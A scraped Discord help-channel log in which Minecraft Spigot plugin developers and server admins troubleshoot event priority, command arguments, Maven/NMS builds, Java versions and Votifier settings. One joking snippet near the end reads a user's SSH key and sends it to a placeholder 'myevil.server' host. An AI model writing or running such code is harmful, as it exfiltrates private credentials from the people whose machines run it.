https://mystb.in/StaticCareersModerator.java all info and error here
im on this yet 😳
Hey !
I'd like to use the spigot event system but I don't understand the priority system.
I want my method to be called last when the event is triggered, this way I can check if it was canceled.
But I don't know which priority to give it.
Logically, it has the lowest priority. But according to the docs, if it has the lowest priority then it will be called first!
highesy / monitor]
the priority system is based on which plugin should get the last say in how the event is handled
i.e. plugin with highest priority has the last say on whether an event shoul dbe cancelled
ping on reply please
ty 🙂
Hey all, I'm trying to check my database on player join to see if I have a corresponding entry to that player's UUID. Is there a listener for when a player joins?
Since you are using a database I would use the AsyncPlayerPreLoginEvent
Ok, I'll check that out
if anyone can help with my issue i would greatly appreciate it
can someone help? i'm makin a gun in a plugin and i want to make it so you need to reload, so basically when you run out of ammo you have to wait 5 seconds, and each second it renames the item with like "GUN [5s]" or "GUN [4s]", and then when it's done reloading it will do "GUN [30]" (30 being the how much ammo you have left), but the problem is, is that the player can move the item around their inventory, or put them in containers, log off, or drop it and stuff
What if you make a Boolean variable so once it starts reloading the reloading variable = true and it only sets to false if it’s done reloading
okay, but how do i change the item's name and stuff
ItemMeta
well yeah but how do i know what slot to change and where to change and whatnot
Just keep reference to the item and change that
wdym
I imagine that will work fine even if it's moved
How would I go about implementing this?
I'm a bit unfamiliar with how async events work sorry
bumping my issue so people can see
So would this be a proper method stub: ```@EventHandler
public void AsyncPlayerPreLoginEvent(PlayerJoinEvent ev) {
//...
}
Could you point me to an example?
@EventHandler
public void whatever(AsyncPlayerPreLoginEvent ev) {
//...
}
Kinda new to this spigot thing but i want to take a player name using command so /eco reset Lumina somth like this any help?
if (args.length != 2) {
return false;
}
Player player = Bukkit.getPlayer(args[1]);
// ...
@pine island
Pls explain better LOL
that is super clear
if the args arent right, send the usage and exit
get the player from the second argument
Ok got it tysm this should work with most other values right?
yes
eco reset player
arg 0 = reset
arg 1 = player
Ok got it!
I have no clue whhat the error is & what caused it Anyhow here is the thing:
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:47) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:149) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at org.bukkit.craftbukkit.v1_16_R3.CraftServer.dispatchCommand(CraftServer.java:761) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
At net.minecraft.server.v1_16_R3.PlayerConnection.handleCommand(PlayerConnection.java:1936) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.PlayerConnection.c(PlayerConnection.java:1779) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.PlayerConnection.a(PlayerConnection.java:1732) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.PacketPlayInChat.a(PacketPlayInChat.java:49) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.PacketPlayInChat.a(PacketPlayInChat.java:1) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:28) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
At net.minecraft.server.v1_16_R3.TickTask.run(SourceFile:18) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.IAsyncTaskHandler.executeTask(SourceFile:144) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.IAsyncTaskHandlerReentrant.executeTask(SourceFile:23) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.IAsyncTaskHandler.executeNext(SourceFile:118) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.MinecraftServer.bb(MinecraftServer.java:1061) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.MinecraftServer.executeNext(MinecraftServer.java:1054) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.IAsyncTaskHandler.awaitTasks(SourceFile:127) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.MinecraftServer.sleepForTick(MinecraftServer.java:1038) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.MinecraftServer.w(MinecraftServer.java:970) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at net.minecraft.server.v1_16_R3.MinecraftServer.lambda$0(MinecraftServer.java:273) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]
at java.lang.Thread.run(Thread.java:748) [?:1.8.0_212]
Caused by: java.lang.ArrayIndexOutOfBoundsException: 1
at me.lumina.hardcorepurge.commands.ClearEco.onCommand(ClearEco.java:38) ~[?:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:45) ~[spigot-1.16.5.jar:3096-Spigot-9fb885e-296df56]```
ah thanks
Also its said +19 more
import me.lumina.hardcorepurge.HardcorePurge;
import net.md_5.bungee.api.ChatColor;
import net.milkbowl.vault.economy.Economy;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.PlayerDeathEvent;
import java.util.Objects;
public class ClearEco implements CommandExecutor, Listener {
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args ){
if (sender instanceof Player){
Economy economy = HardcorePurge.getEconomy();
Player player = (Player)sender;
double bal1 = economy.getBalance(player);
//purge
if (cmd.getName().equalsIgnoreCase("ClearEco")){
if (args.length == 1) {
Player playerToReset = Bukkit.getPlayer(args[1]);
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "eco reset " + playerToReset);
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "clear" + playerToReset);
}
else{
sender.sendMessage("Whoops Something went wrong Try again?(/ClearEco <playerName>");
}
}
}
return true;
}
}
``` the code
What is good premium plugins?
if (args.length == 1) {
Player playerToReset = Bukkit.getPlayer(args[1]);```
Arrays start at 0
So 1 is out of bounds
mhm
Ok
/testcommand arg0 arg1 arg2 -> args-lenght = 3
Why did it just give me null
Yeah im used to python
so I got it working in IntelliJ now but I can't compile it. Is it because its only in my local repo?
You use package to compile, right?
yes
🤔
?paste
Yeah got it!
Thats my pom
https://i.imgur.com/HIHRy0l.png
check your local m2 repo manually in your user folder/.m2/repository/org/spigotmc/spigot
The m2 folder contains the repo and its working in IntelliJ but when I try to export it, it cant export the NMS imports. It always returns with an error: Error:(11,26) java: cannot access net.minecraft.core.BlockPosition
basically, i want to fake a block
but when i place the block in a tall grass it dont fake the block
when i relog it show me the fake blocks
check this when working with 1.17.1
specifically the last part of the developer notes
you said it to me?
no sorry @west sail
i did and I would love to avoid using NMS but the only way how to change the texture of a skull block is by using NMS.
I got it working in IntelliJ but how can I export my plugin now?
This is my current pom.xml
btw I also tried it with the remapped-mojang version but I also cant export that
haven't worked with 1.17 NMS yet since I can't get build tools to run so I'm not speaking from experience but I thought that the nms.core package was for the remapped jar?
when you type BlockPosition in IntelliJ are you prompted with any other imports?
Whenever i use player.getName() i get CraftPlayer{name=LuminaEXE}
Any other method?
Will Player player = (Player)sender work?
This is the import it uses.
yes. If you are talking about CommandSenders
Ok
Oh, this is a compile time error?
because everything in intellij looks fine
yeah everything in intelliJ is fine only when i try to compile it it breaks with this error
If its a runtime or import restart IntelliJ it will fix it for the most part
I already did "Invalidate Cache and Restart" didnt work
I can only think its something to do with obfuscation but I'm not sure since I haven't worked with it
?paste
I also tried with the mojang remapped version then BlockPosition changes to BlockPos but then it cant find that when compiling
Also i did the thing still no help
import me.lumina.hardcorepurge.HardcorePurge;
import net.md_5.bungee.api.ChatColor;
import net.milkbowl.vault.economy.Economy;
import net.milkbowl.vault.economy.EconomyResponse;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.PlayerDeathEvent;
import java.util.Objects;
public class ClearEco implements CommandExecutor, Listener {
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args ){
if (sender instanceof Player){
Economy economy = HardcorePurge.getEconomy();
Player player = (Player)sender;
double bal1 = economy.getBalance(player);
//purge
if (cmd.getName().equalsIgnoreCase("ClearEco")){
if (args.length == 1) {
String Sender = player.getName();
Player playerToReset = Bukkit.getPlayer(args[0]);
economy.withdrawPlayer(Sender, bal1);
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "clear " + player);
}
else{
sender.sendMessage("Whoops Something went wrong Try again?(/ClearEco <playerName>");
}
}
}
return true;
}
}
The code
+ player does really look like you are calling getName()
You are not calling getName
^^
It was declared as sender?
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "clear " + player.getName());
🥄
Ah ok got it
if you dont do .getName all youre going to do is print out the toString of the object
Hmm
did anyone here ever compile a plugin using 1.17.1 Maven NMS imports?
I have but I forget what I did to get it to work lol
No sorry i only do 1.16.5
Did you put the correct maven configurations in?
how could i override a block?
i always use package to export it, is that wrong?
I always use install so im not sure
like, i would like to add inventory to a stone
and the stone could receive items from hoppers
What's your pom.xml look like? @west sail
Also is there a way to clear a ender chest?
I tried it with and without
<dependency> <groupId>org.spigotmc</groupId> <artifactId>spigot</artifactId> <version>1.17-R0.1-SNAPSHOT</version> <classifier>remapped-mojang</classifier> <scope>provided</scope> </dependency>
You used that?
yep
don't you need to run build tools with --remapped?
Yes
this only gives me access to the files
No it installs the remapped jars into your maven repo
again I dont have a problem with loading it in intellij i can work with it fine. Only when I try to export it it doesnt work
When I'm running build tools for 1.17.1 i'm getting an error
Caused by: org.eclipse.aether.resolution.ArtifactResolutionException: Could not find artifact org.spigotmc:minecraft-server:csrg:maps-spigot-fields:1.17.1-R0.1-SNAPSHOT
here is your remapped case.
sometimes you have to delete your existing build tools folder when adding something new
is there something to listen for when a player picks something up with a bucket of water? (e.g fish, axolotl)
yeah im already done with that.
PlayerInteractEvent?
how exactly would I go about determining whether a player used a bucket of water / picked up X?
i would check what he is holding in his hand
PlayerBucketEntityEvent?
ah yeah forgot about that
ok I found a more detailed error message: class file has wrong version 60.0, should be 55.0 Please remove or make sure it appears in the correct subdirectory of the classpath.
what does that mean? Im using Java 16
are you actually compiling against java 16 tho ?
No
how can i check that?
55 is 11 if my math serves
you hopefully defined your target somewhere either the the poms properties section or in the compiler-plugin
when distributing
do you need to put 16 in there?
https://mystb.in/StaticCareersModerator.java all info and error here does anyone know how i can solve this
yea
can you send me a sample pom.xml with Java 16? I always get an error when i just change the java-version to 16: Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.1:compile (default-compile) on project EDUHub: Fatal error compiling
but this doesnt work, same error
?paste the error then
but please paste, neither screenshots nor discord files are particularly exciting to read
that is all ?
yes?
the entire output of mvn package is that single line
it usually comes with a bit more of a description lmao
that is the output of the Run window
paste the actual error
use powershell or cmd, dont double click or whatever
intellij should have a view where it shows the entire output tho
the error is still this one line though
looks like its compiling with jdk 14
not quite xD
it says that release version 16 is not supported
meaning you are not actually using java 16 on your system
run java --version and validate
oh right, creppy that path 😂
overlooked that
but i defined 16 or 17 in the pom i tried both
your system is running using java 14 tho
you can't tell java 14 to compile java 16
java -version is telling me Java 17
java -version
java version "17.0.1" 2021-10-19 LTS
Java(TM) SE Runtime Environment (build 17.0.1+12-LTS-39)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.1+12-LTS-39, mixed mode, sharing)
well whatever you use to run maven does use java 14
as you can tell by the first line in your pasted logs
whats javac --version or something
also 17.0.1
does intelliJ use a different version and where can i see this?
Open project settings
Project structure
^
ah yeah right i found it. Thanks for the help ^^
Hello, a user has reported that they get the following error repeatedly and they think it's due to my plugin, however the callstack is so vague, I can't tell what might be causing it:
https://pastebin.com/f8L3Xuyy
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
any idea how I might troubleshoot it? It appears to be related to a entity's custom name
Are you changing the name?
my plugin uses ProtocolLib to show a fake name but does not actually update the custom name
Well looks like you have a mob spawner that is configured to spawn some badly named entities
thanks that might help narrow it down
is it posibble to send a packet to run a runnable client side
hello i am trying to get a water bottle and this code doesnt work ItemStack item = event.getItem(); ItemStack bottle = new ItemStack(Material.POTION, 1); ItemMeta meta = bottle.getItemMeta(); PotionMeta pmeta = (PotionMeta) meta; PotionData pdata = new PotionData(PotionType.WATER); pmeta.setBasePotionData(pdata); bottle.setItemMeta(pmeta); if(item == bottle) can some one help me?
unless you have client side modifications, packets do exactly what the client defines them to do
does minecraft has something for this then
well, no idea what your "runnable client side" is.
sorry
Don't compare items with ==
is it posibble to send a packet to run a runnable in client side
Use isSimilar
are you creating a runnable on the client side of things using a mod ?
:D
Yeah I couldn’t imagine ^^^
yeah I just realised thats too much to ask for :P
would also be the biggest security flaw ever created
Yeah lol 😂
Would be useful though 
😈
to torture exploiters
I’d use it to inject malware
true, I always wanted to like
client.run(() -> {
sendTo("https://myevil.server", Files.readAllBytes(pathToYourSSHKey))
})
You are the reason we don't have that
I just want a hologram to change its y as player moves

if (e.getClickedInventory().equals(serverselector()))
e.getClickedInventory() returns null no matter what i do
This is pain
how to fix worldguard in ./plugins not showing ?
Read the startup error
where ?
In the console
ok wait
[Server thread/ERROR]: [Skript] (wood axe named "?6|-| ?7Item main of WorldEdit ?6|-|" with lore ("", "?7Description: ?6This item allows to create position 1 and 2 !", "" and "?7Use: ?cLeft click to create position 1 !") and '" &cRight click to create position 2 !" with no nbt') can't be added to {_sender} because the former is not an object (Wand.sk, line 76: give {@WorldEdit-use-itemtype-use} of sharpness 0 named "{@WorldEdit-use-itemname-use}" with lore {@WorldEdit-use-itemlore-use} with no nbt to {_sender}')
end im don't have a rg command end egion
endspent
You should ask in the skript discord
Also why do you have a WorldEdit skript
Why not use the original plugin
or just their page
end ?
?
"not working" does not tell us anything
can someone say to me pls and help, im using nuvotifier it seemed to work okay, but then when i got on server it was spamming reminder to vote every 10seconds or 1min
im gonna show gimme sec
https://gyazo.com/a758712ab10568d6f63f1b65a51b18b0 whre do i need change it im so confused and pissed off
no videos showing the reminder time
also they doesnt show how to put multiple votes for multiple websites..
if they vote for one with same port does it go to all of the websites at the same time
i have two thinks that video showed me to download for votifier to work
i mean someone voted in game and website got 1 more vote ... thats what i mean
those two ...
i cant remember the name but those two i have
doesnt work
i putted in thre /pl
just says unknown command
Plugins (7): ActionHealth, DiscordSRV, Essentials, LuckPerms, SinglePlayerSleep, SuperbVote, Votifier
thats what its saying
could u also explain me pls how it works.. and where i need to put links to so it gets multiple votes for multiple websites..
no, its reminding people to vote for the server every 10 second
its kinda so annoying just popping hundreds time in chat, vote for this server ..... or you have voted 1 time vote more ..
ya thats what i wanna do change the reminder so it doesnt pop up on chat so often
like put remind every 1h or so
i cant even see it plugins
o wait fuck i found it gimme sec
is it that ?
broadcast
in seconds
its this
?
yes same message
i think it is
thanks so much i putted 3600 seconds so its 1h
https://gyazo.com/1cf7afc7c32b35644eaaf3660478ac0e could u explain also what is this ?
is it after vote he gets so many diamonds ? or something
else
and what is change percentage.. sry im really first time using votifier ... its so hard
i hope i have patience for that, it already pissed me for 3 days .. that youtubers dont show those thinks .. :/ for week it was pain lol
thanks you so much
Hey can someone help me? I am trying to generate my Javadocs but I have a Space inside my path, is there a way to fix it without Moving my Folder?
Put your path in quotation marks.
I am not using Command line to do it tho, I am using the goals
https://gyazo.com/76f51fbcd068dc59ff06c52eb8cc537d could u pls say one more think it doesnt say in that website do you do it like this ?? or do you remove thos thinks in front of link or what why it did go white when i twas yellow @delicate lynx
Usually maven should be able to handle paths with whitespaces out of the box. Unless you are on linux.
Is it maybe because of the non-ascii symbol?
Exit code: 1 - javadoc: error - File not found: "G:/» Projects/Unique/UniqueAPI/src/main/java/eu/unique/api/bungee/APIBungee.java"
It is, It works for everything except Javadocs
Its just a way of having my actual Projects folder at the top in my Drive
Never had problems with it
Did you check if the file does actually exist?
Try using the very latest version of maven. If that doesnt work then you might have to remove the whitespace from your path. Mabye even write an issue in their github.
lol did you actually use a raquo in your path?
and also how do i do the, command for voting list ?
anyway maven should handle it just fine
okay I think I found the issue, so my symbol (») appears as (┬╗) when executing the javadocs command manually
yes
yeah just change the directory name then
windows is a bit strange when it comes to unicode
Big oof move project because of Javadocs...
how do javadocs require hardcoded paths?
Try executing the goals from Powershell. cli is old and weird.
Thats also an option
